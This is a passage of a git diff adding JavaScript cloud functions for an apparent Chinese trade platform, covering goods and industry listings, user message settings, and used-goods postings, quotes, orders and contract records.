+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+ const {pageIndex, pageSize, parentId, keyword, city, } = data
+ const whereJson = {}
+ if (vk.pubfn.isNotNull(keyword)) {
+ whereJson.name = new RegExp(keyword)
+ }
+ if (vk.pubfn.isNotNull(city)) {
+ whereJson['address.city.code'] = city
+ }
+ if (vk.pubfn.isNotNull(parentId)) {
+ whereJson.parentId = parentId
+ }
+
+ res = await vk.baseDao.select({
+ dbName: 'jjx-goods',
+ getCount: true,
+ pageIndex,
+ pageSize,
+ whereJson,
+ sortArr: [
+ {name: "recommend", type: "desc"},
+ {name: "sort", type: "asc"},
+ {name: "_add_time", type: "desc"},
+ ],
+ });
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/industry/pub/getList.js b/uniCloud-tcb/cloudfunctions/router/service/client/industry/pub/getList.js
new file mode 100644
index 0000000..9e4881d
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/industry/pub/getList.js
@@ -0,0 +1,29 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url admin/old/sys/getList 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ res = await vk.baseDao.selects({
+ dbName: "jjx-industry",
+ pageIndex: 1,
+ pageSize: 500,
+ getCount: true,
+ sortArr: [
+ {"name": "sort", "type": "asc"},
+ {"name": "_add_time", "type": "desc"},
+ ],
+ });
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/message/config/kh/getConfig.js b/uniCloud-tcb/cloudfunctions/router/service/client/message/config/kh/getConfig.js
new file mode 100644
index 0000000..2c39691
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/message/config/kh/getConfig.js
@@ -0,0 +1,47 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/message/config/kh/getConfig 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ const messageConfig = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-message-config",
+ whereJson: {
+ uid
+ }
+ });
+
+ if (!messageConfig) {
+ const id = await vk.baseDao.add({
+ dbName: "jjx-message-config",
+ dataJson: {
+ uid,
+ article: true,
+ process: true,
+ old: true,
+ enquiry: true,
+ productList: [],
+ addressRegion: {}
+ }
+ })
+
+ res = await vk.baseDao.findById({
+ dbName: "jjx-message-config",
+ id: id
+ });
+ } else res = messageConfig
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/message/config/kh/setConfig.js b/uniCloud-tcb/cloudfunctions/router/service/client/message/config/kh/setConfig.js
new file mode 100644
index 0000000..e3ae658
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/message/config/kh/setConfig.js
@@ -0,0 +1,22 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/message/config/kh/setConfig 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+
+
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/message/config/kh/update.js b/uniCloud-tcb/cloudfunctions/router/service/client/message/config/kh/update.js
new file mode 100644
index 0000000..e4e4208
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/message/config/kh/update.js
@@ -0,0 +1,28 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/message/config/kh/update 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ await vk.baseDao.update({
+ dbName: "jjx-message-config",
+ whereJson: {uid},
+ dataJson: {
+ ...data
+ }
+ });
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/message/kh/add.js b/uniCloud-tcb/cloudfunctions/router/service/client/message/kh/add.js
new file mode 100644
index 0000000..ba7cb8b
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/message/kh/add.js
@@ -0,0 +1,32 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/message/kh/add 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+
+ console.log('here is message', data)
+ await vk.baseDao.add({
+ dbName: "jjx-message",
+ dataJson: {
+ uid,
+ title: data.title,
+ content: data.content,
+ type: data.type,
+ hasRead: false
+ }
+ });
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/message/kh/delete.js b/uniCloud-tcb/cloudfunctions/router/service/client/message/kh/delete.js
new file mode 100644
index 0000000..fc9439b
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/message/kh/delete.js
@@ -0,0 +1,25 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/message/kh/delete 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+
+ await vk.baseDao.deleteById({
+ dbName: "jjx-message",
+ id: data.id
+ });
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/message/kh/getList.js b/uniCloud-tcb/cloudfunctions/router/service/client/message/kh/getList.js
new file mode 100644
index 0000000..c349f07
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/message/kh/getList.js
@@ -0,0 +1,31 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/message/kh/getList 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid, pageIndex, pageSize} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ res = await vk.baseDao.select({
+ dbName: "jjx-message",
+ getCount: true,
+ whereJson: {
+ uid,
+ },
+ sortArr: [{"name": "_add_time", "type": "desc"}],
+ pageIndex,
+ pageSize
+ })
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/message/kh/getUnreadCount.js b/uniCloud-tcb/cloudfunctions/router/service/client/message/kh/getUnreadCount.js
new file mode 100644
index 0000000..fd92ed2
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/message/kh/getUnreadCount.js
@@ -0,0 +1,28 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/message/kh/getUnreadCount 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid, pageIndex, pageSize} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ res.data = await vk.baseDao.count({
+ dbName: "jjx-message",
+ whereJson: {
+ uid,
+ hasRead: false
+ },
+ })
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/message/kh/setAllRead.js b/uniCloud-tcb/cloudfunctions/router/service/client/message/kh/setAllRead.js
new file mode 100644
index 0000000..6c6cbd5
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/message/kh/setAllRead.js
@@ -0,0 +1,32 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/message/kh/setAllRead 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+
+ await vk.baseDao.update({
+ dbName: "jjx-message",
+ whereJson: {
+ uid: uid,
+ hasRead: false
+ },
+ dataJson: {
+ hasRead: true
+ }
+ });
+
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/message/kh/setRead.js b/uniCloud-tcb/cloudfunctions/router/service/client/message/kh/setRead.js
new file mode 100644
index 0000000..e03ef66
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/message/kh/setRead.js
@@ -0,0 +1,28 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/message/kh/setRead 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+
+ await vk.baseDao.updateById({
+ dbName: "jjx-message",
+ id: data.id,
+ dataJson: {
+ hasRead: true
+ }
+ });
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/notice/list/pub/getDetail.js b/uniCloud-tcb/cloudfunctions/router/service/client/notice/list/pub/getDetail.js
new file mode 100644
index 0000000..5f82111
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/notice/list/pub/getDetail.js
@@ -0,0 +1,25 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/notice/list/pub/getDetail 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+
+ res = await vk.baseDao.findById({
+ dbName: "jjx-notice",
+ id: data.id,
+ });
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/notice/list/pub/getList.js b/uniCloud-tcb/cloudfunctions/router/service/client/notice/list/pub/getList.js
new file mode 100644
index 0000000..9d00344
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/notice/list/pub/getList.js
@@ -0,0 +1,35 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/notice/list/pub/getList 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+ const {pageIndex, pageSize, parentId, keyword} = data
+ const whereJson = {parentId}
+ if (vk.pubfn.isNotNull(keyword)) {
+ whereJson.name = new RegExp(keyword)
+ }
+ res = await vk.baseDao.select({
+ dbName: 'jjx-notice',
+ getCount: true,
+ pageIndex,
+ pageSize: 12,
+ whereJson,
+ sortArr: [
+ {name: "_id", type: "desc"}
+ ],
+ });
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/old/kh/add.js b/uniCloud-tcb/cloudfunctions/router/service/client/old/kh/add.js
new file mode 100644
index 0000000..0135163
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/old/kh/add.js
@@ -0,0 +1,142 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/old/kh/add 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+ if (!userInfo.fadadaConfirm && userInfo.authStatus === 1) {
+ return {
+ code: 1,
+ msg: '请先完成认证'
+ }
+ } else if (!userInfo.businessCard) {
+ return {
+ code: 1,
+ msg: '请完善名片信息'
+ }
+ } else {
+ if (userInfo.businessCard.status !== 1) {
+ return {
+ code: 1,
+ msg: '您的名片信息未审核,请耐心等待'
+ }
+ }
+ }
+
+ if (!userInfo.remainOldNum || parseInt(userInfo.remainOldNum) === 0) return {
+ code: 1,
+ msg: '本月旧货发布次数已用完'
+ }
+
+ const isUrgent = data.isUrgent
+ delete data.isUrgent
+ const pk = await vk.baseDao.add({
+ dbName: "jjx-old",
+ dataJson: {
+ ...data, ...{
+ quoteNum: 0,
+ status: 0,
+ isUrgent: false,
+ isShow: 0,
+ }
+ }
+ })
+
+ const messageUserList = await vk.baseDao.select({
+ dbName: "jjx-message-config",
+ whereJson: {
+ old: true
+ }
+ })
+ const messageList = []
+ for (let i = 0; i < messageUserList.rows.length; i++) {
+ if (messageUserList.rows[i].uid !== uid) {
+ messageList.push({
+ uid: messageUserList.rows[i].uid,
+ title: `旧货:${data.title}`,
+ content: `新的旧货信息发布,赶紧去看看吧`,
+ type: 'old',
+ hasRead: false,
+ pk
+ })
+ await pubFun.sendNotifySms(messageUserList.rows[i].uid, 'SMS_474130452')
+ }
+ }
+ if (messageList.length > 0) {
+ await vk.baseDao.adds({
+ dbName: "jjx-message",
+ dataJson: messageList
+ });
+ }
+
+ await vk.baseDao.updateById({
+ dbName: "uni-id-users",
+ id: uid,
+ dataJson: {
+ remainOldNum: _.inc(-1)
+ }
+ });
+
+ if (isUrgent) {
+ const amountItem = await vk.baseDao.findById({
+ dbName: 'jjx-dict',
+ id: '6587dd2fe0ec19027452c5b5'
+ })
+
+ const amount = amountItem.content
+ let offAmount = amount
+ let saveAmount = 0, offRate = 100
+ if (userInfo.userLevel > 0) {
+ const userLevel = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-user-level",
+ whereJson: {
+ level: userInfo.userLevel
+ }
+ })
+ if (userLevel) {
+ offRate = parseInt(userLevel.valueAddRate)
+ offAmount = (amount * (parseInt(userLevel.valueAddRate) / 100)).toFixed(2)
+ saveAmount = (amount - offAmount).toFixed(2)
+ }
+ }
+
+ const orderId = await vk.baseDao.add({
+ dbName: "jjx-order",
+ dataJson: {
+ orderNo: vk.pubfn.createOrderNo("39XU", 20),
+ uid,
+ orderStatus: 0,
+ type: 9,
+ amount,
+ offAmount,
+ saveAmount,
+ offRate,
+ }
+ })
+
+ await vk.baseDao.add({
+ dbName: "jjx-order-goods",
+ dataJson: {
+ orderId,
+ goodsId: pk,
+ num: 1,
+ goodsName: '旧货信息加急',
+ goodsPrice: amount,
+ goodsCover: null,
+ }
+ })
+ res.data = orderId
+ }
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/old/kh/addQuote.js b/uniCloud-tcb/cloudfunctions/router/service/client/old/kh/addQuote.js
new file mode 100644
index 0000000..e263a23
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/old/kh/addQuote.js
@@ -0,0 +1,165 @@
+'use strict';
+const dayjs = require("dayjs");
+var isBetween = require('dayjs/plugin/isBetween')
+dayjs.extend(isBetween)
+
+module.exports = {
+ /**
+ * 新增报价
+ * @url client/enquiry/quote/kh/addQuote 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid, totalPrice} = data;
+ let {company, manager, person, accountType} = userInfo
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ let noQuoteNo = false
+
+ if (parseInt(userInfo.userLevel) < 3) {
+ if (parseInt(userInfo.remainQuoteNum) === 0 || !userInfo.remainQuoteNum) {
+
+ const checkSheetQuoteNum = await vk.baseDao.findById({
+ dbName: "jjx-old",
+ id: data.sheetId
+ })
+ if (checkSheetQuoteNum.quoteAmount) {
+ const checkQuoteNum = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-user-quote-num",
+ whereJson: {
+ uid,
+ type: 'old',
+ sheetId: data.sheetId,
+ }
+ });
+ if (!checkQuoteNum || checkQuoteNum.num === 0) noQuoteNo = true
+ } else noQuoteNo = true
+ }
+ noQuoteNo = !!(userInfo.quoteExpiredAt && dayjs(userInfo.quoteExpiredAt).isBefore(dayjs()));
+ }
+
+ if (noQuoteNo) {
+ return {
+ code: 1,
+ msg: "您的报价次数已过期/用完"
+ }
+ }
+ if (userInfo.remainQuoteNum && userInfo.remainQuoteNum > 0) {
+ await vk.baseDao.update({
+ dbName: "uni-id-users",
+ whereJson: {
+ uid
+ },
+ dataJson: {
+ remainQuoteNum: _.inc(-1)
+ }
+ })
+ }
+
+ let subjectName = ''
+ let subjectMobile = ''
+ let managerName = ''
+ let managerMobile = ''
+
+ const checkSheet = await vk.baseDao.findById({
+ dbName: "jjx-old",
+ id: data.sheetId
+ })
+
+ if (checkSheet.status > 0) return {
+ code: -1,
+ msg: "该旧货交易已关闭"
+ }
+
+ if (accountType === 1 && person.personName && person.mobile) {
+ subjectName = person.personName
+ subjectMobile = person.mobile
+ } else {
+ subjectName = company.companyName
+ subjectMobile = company.companyMobile
+ // if (manager && manager.mobile && manager.personName) {
+ // managerName = manager.personName
+ // managerMobile = manager.mobile
+ // }
+ }
+
+ // 添加报价单
+ res.data = await vk.baseDao.add({
+ dbName: "jjx-old-quote",// 表名
+ dataJson: { // 需要新增的数据 json格式
+ ...data,
+ ...{
+ userId: data.uid,
+ status: 0,
+ subjectName,
+ subjectMobile,
+ managerName,
+ managerMobile,
+ }
+ }
+ });
+
+ const sheet = vk.baseDao.updateAndReturn({
+ dbName: "jjx-old",// 表名
+ whereJson: {
+ _id: data.sheetId,
+ },
+ dataJson: {
+ quoteNum: _.inc(1)
+ }
+ })
+
+ const checkMessage = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-message-config",
+ whereJson: {
+ old: true,
+ uid: sheet.userId
+ }
+ })
+
+ if (checkMessage) {
+ let send = true
+ // if (checkMessage.doNotDisturbRange && checkMessage.doNotDisturbRange[0]) {
+ // const date = dayjs().format("YYYY-MM-DD")
+ // const doNotDisturbRangeStart = dayjs(checkMessage.doNotDisturbRange[0]).format("HH:mm")
+ // const doNotDisturbRangeEnd = dayjs(checkMessage.doNotDisturbRange[1]).format("HH:mm")
+ // if (dayjs().isBetween(dayjs(`${date} ${doNotDisturbRangeStart}`), dayjs(`${date} ${doNotDisturbRangeEnd}`)))
+ // send = false
+ // }
+ const date = dayjs().format("YYYY-MM-DD")
+ if (checkMessage.doNotDisturbStart && checkMessage.doNotDisturbStart.length) {
+ const doNotDisturbRangeStart = dayjs(`${date} ${checkMessage.doNotDisturbStart[0]}:${checkMessage.doNotDisturbStart[1]}`).format("HH:mm")
+ const doNotDisturbRangeEnd = dayjs(`${date} ${checkMessage.doNotDisturbEnd[0]}:${checkMessage.doNotDisturbEnd[1]}`).format("HH:mm")
+ if (dayjs().isBetween(dayjs(`${date} ${doNotDisturbRangeStart}`), dayjs(`${date} ${doNotDisturbRangeEnd}`)))
+ send = false
+ }
+
+ if (checkMessage.tradeAmount && checkMessage.tradeAmount[0]) {
+ if (sheet.totalPrice < checkMessage.tradeAmount[0] || sheet.totalPrice > checkMessage.tradeAmount[1])
+ send = false
+ }
+
+ if (send) {
+ await vk.baseDao.add({
+ dbName: "jjx-message",
+ dataJson: {
+ uid: sheet.userId,
+ title: `旧货:${sheet.title}报价`,
+ content: `您的旧货信息有新的报价,赶紧去看看吧`,
+ type: 'old',
+ hasRead: false,
+ pk: data.sheetId
+ }
+ });
+ await pubFun.sendNotifySms(sheet.userId, 'SMS_474185570')
+ }
+ }
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/old/kh/buyNum.js b/uniCloud-tcb/cloudfunctions/router/service/client/old/kh/buyNum.js
new file mode 100644
index 0000000..c2bbaed
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/old/kh/buyNum.js
@@ -0,0 +1,70 @@
+'use strict';
+module.exports = {
+ /**
+ * 新增报价
+ * @url client/enquiry/quote/kh/addQuote 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid, totalPrice} = data;
+ let {company, manager, person, accountType} = userInfo
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ const amountItem = await vk.baseDao.findById({
+ dbName: 'jjx-dict',
+ id: '6587dd54189f86d49b3d5ff5'
+ })
+
+ const amount = amountItem.content
+ let offAmount = amount
+ let saveAmount = 0, offRate = 100
+ if (userInfo.userLevel > 0) {
+ const userLevel = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-user-level",
+ whereJson: {
+ level: userInfo.userLevel
+ }
+ })
+ if (userLevel) {
+ offRate = parseInt(userLevel.valueAddRate)
+ offAmount = (amount * (parseInt(userLevel.valueAddRate) / 100)).toFixed(2)
+ saveAmount = (amount - offAmount).toFixed(2)
+ }
+ }
+
+ const orderId = await vk.baseDao.add({
+ dbName: "jjx-order",
+ dataJson: {
+ orderNo: vk.pubfn.createOrderNo("39XU", 20),
+ uid,
+ orderStatus: 0,
+ type: 10,
+ amount,
+ offAmount,
+ saveAmount,
+ offRate,
+ }
+ })
+
+ await vk.baseDao.add({
+ dbName: "jjx-order-goods",
+ dataJson: {
+ orderId,
+ goodsId: null,
+ num: 1,
+ goodsName: '旧货发布次数购买',
+ goodsPrice: amount,
+ goodsCover: null,
+ }
+ })
+
+ res.data = orderId
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/old/kh/changeToOnlineSign.js b/uniCloud-tcb/cloudfunctions/router/service/client/old/kh/changeToOnlineSign.js
new file mode 100644
index 0000000..5d849d0
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/old/kh/changeToOnlineSign.js
@@ -0,0 +1,153 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/enquiry/sheet/kh/changeToOnlineSign 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ const sheet = await vk.baseDao.updateAndReturn({
+ dbName: "jjx-old",
+ whereJson: {
+ _id: data.id
+ },
+ dataJson: {
+ signMethod: 0,
+ status: 1
+ }
+ });
+
+ const quote = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-old-quote",
+ whereJson: {
+ sheetId: data.id,
+ status: 1
+ }
+ });
+
+ if (quote) {
+
+ const fadadaContractId = vk.pubfn.createOrderNo("OL", 20)
+ const contractTransactionId = vk.pubfn.createOrderNo("C", 20)
+
+ const contractId = await vk.baseDao.add({
+ dbName: 'jjx-contract',
+ dataJson: {
+ fadadaContractId,
+ contractBase: '', // 原始合同
+ contractHistory: [], // 历史合同
+ contractFinal: '', // 归档合同
+ status: 0,
+ userId: uid,
+ type: 'old',
+ quoteId: quote.id,
+ sheetId: quote.sheetId,
+ productList: quote.productList,
+ productTitle: sheet.title,
+ tradeMethod: 0,
+ partyCount: 2,
+ signCount: 0,
+ contractType: sheet.contractType,
+ signMethod: sheet.signMethod,
+ sellerSupplement: sheet.sellerSupplement,
+ transactionId: contractTransactionId,
+ amount: quote.totalPrice,
+ docTitle: sheet.title,
+ }
+ })
+
+ // 上传合同模板
+
+ //新增 用户与合同的关联记录
+ await vk.daoCenter.userContractDao.adds([
+ {
+ transactionId: vk.pubfn.createOrderNo("E", 20),
+ userId: quote.userId,
+ role: 'seller',
+ sign: false,
+ contractId
+ },
+ {
+ transactionId: vk.pubfn.createOrderNo("E", 20),
+ userId: uid,
+ role: 'buyer',
+ sign: false,
+ contractId
+ }
+ ])
+ }
+ // const contractFile = await vk.baseDao.findById({
+ // dbName: 'jjx-dict',
+ // id: '657d36befe975f63af1f24e7'
+ // })
+ // const signMaxDate = await vk.baseDao.findById({
+ // dbName: 'jjx-dict',
+ // id: '657d78958b0da41d311bd94c'
+ // })
+ // const buyerSignKeyword = await vk.baseDao.findById({
+ // dbName: 'jjx-dict',
+ // id: '657d37972139294200fc9a01'
+ // })
+ // const sellerSignKeyword = await vk.baseDao.findById({
+ // dbName: 'jjx-dict',
+ // id: '657d37a609664c4f4a5c4afb'
+ // })
+ // const signEndDate = vk.pubfn.getOffsetTime(new Date(), {
+ // day: parseInt(signMaxDate.content),
+ // mode: "after",
+ // });
+ //
+ // const uploaddocs = await pubFun.fadada('uploaddocs.api', {
+ // contract_id: contractTransactionId,
+ // doc_title: sheet.title,
+ // doc_url: contractFile.content,
+ // // file: doc_url,
+ // doc_type: '.pdf'
+ // })
+ // if (parseInt(uploaddocs.code) === 1000) {
+ // await vk.baseDao.updateAndReturn({
+ // dbName: dbName.contract,
+ // whereJson: {
+ // _id: contractId,
+ // userId: uid
+ // },
+ // dataJson: {
+ // status: 1,
+ // docTitle: sheet.title,
+ // signEndDate,
+ // otherFile: '',
+ // contractBase: contractFile.content,
+ // buyerSignKeyword: buyerSignKeyword.content,
+ // sellerSignKeyword: sellerSignKeyword.content
+ // }
+ // })
+ // await vk.baseDao.updateAndReturn({
+ // dbName: 'jjx-old',
+ // whereJson: {
+ // _id: data.id
+ // },
+ // dataJson: {
+ // status: 2
+ // }
+ // })
+ //
+ // res.data = uploaddocs.result
+ // } else {
+ // return {
+ // code: -1,
+ // msg: uploaddocs.msg
+ // }
+ // }
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/old/kh/confirmQuote.js b/uniCloud-tcb/cloudfunctions/router/service/client/old/kh/confirmQuote.js
new file mode 100644
index 0000000..6a62f86
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/old/kh/confirmQuote.js
@@ -0,0 +1,414 @@
+'use strict';
+
+const dbName = require("../../../../dao/config");
+const dayjs = require("dayjs");
+var isBetween = require('dayjs/plugin/isBetween')
+dayjs.extend(isBetween)
+
+const PROCESS_PAY_METHOD = ['预付', '货到验收后付款', '提货付全款', '信誉采购,货到签单后账期:']
+const WRITE_INVOICE_TIME = ['付款当月(限20号之前付款,20号之后付款次月开票)', '付款后次月', '付款前']
+const INVOICE_TYPE = ['增值税专用发票13%', '增值税普通发票', '普通发票']
+
+module.exports = {
+ /**
+ * 同意合作
+ * @url client/enquiry/quote/kh/confirmQuote 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {
+ data = {}, userInfo, util, filterResponse, originalParam
+ } = event;
+ let {
+ customUtil,
+ uniID,
+ config,
+ pubFun,
+ vk,
+ db,
+ _
+ } = util;
+ let {
+ uid,
+ quoteId
+ } = data;
+ let res = {
+ code: 0,
+ msg: ""
+ };
+ // 业务逻辑开始-----------------------------------------------------------
+
+ // 修改报价单状态
+ const quote = await vk.baseDao.updateAndReturn({
+ dbName: 'jjx-old-quote',
+ whereJson: {
+ _id: quoteId,
+ status: 0
+ },
+ dataJson: {
+ status: 1
+ }
+ })
+
+ if (!quote) {
+ return {
+ code: -1,
+ msg: '请刷新页面'
+ }
+ }
+ // 获取乙方信息
+ const quoteUser = await vk.baseDao.select({
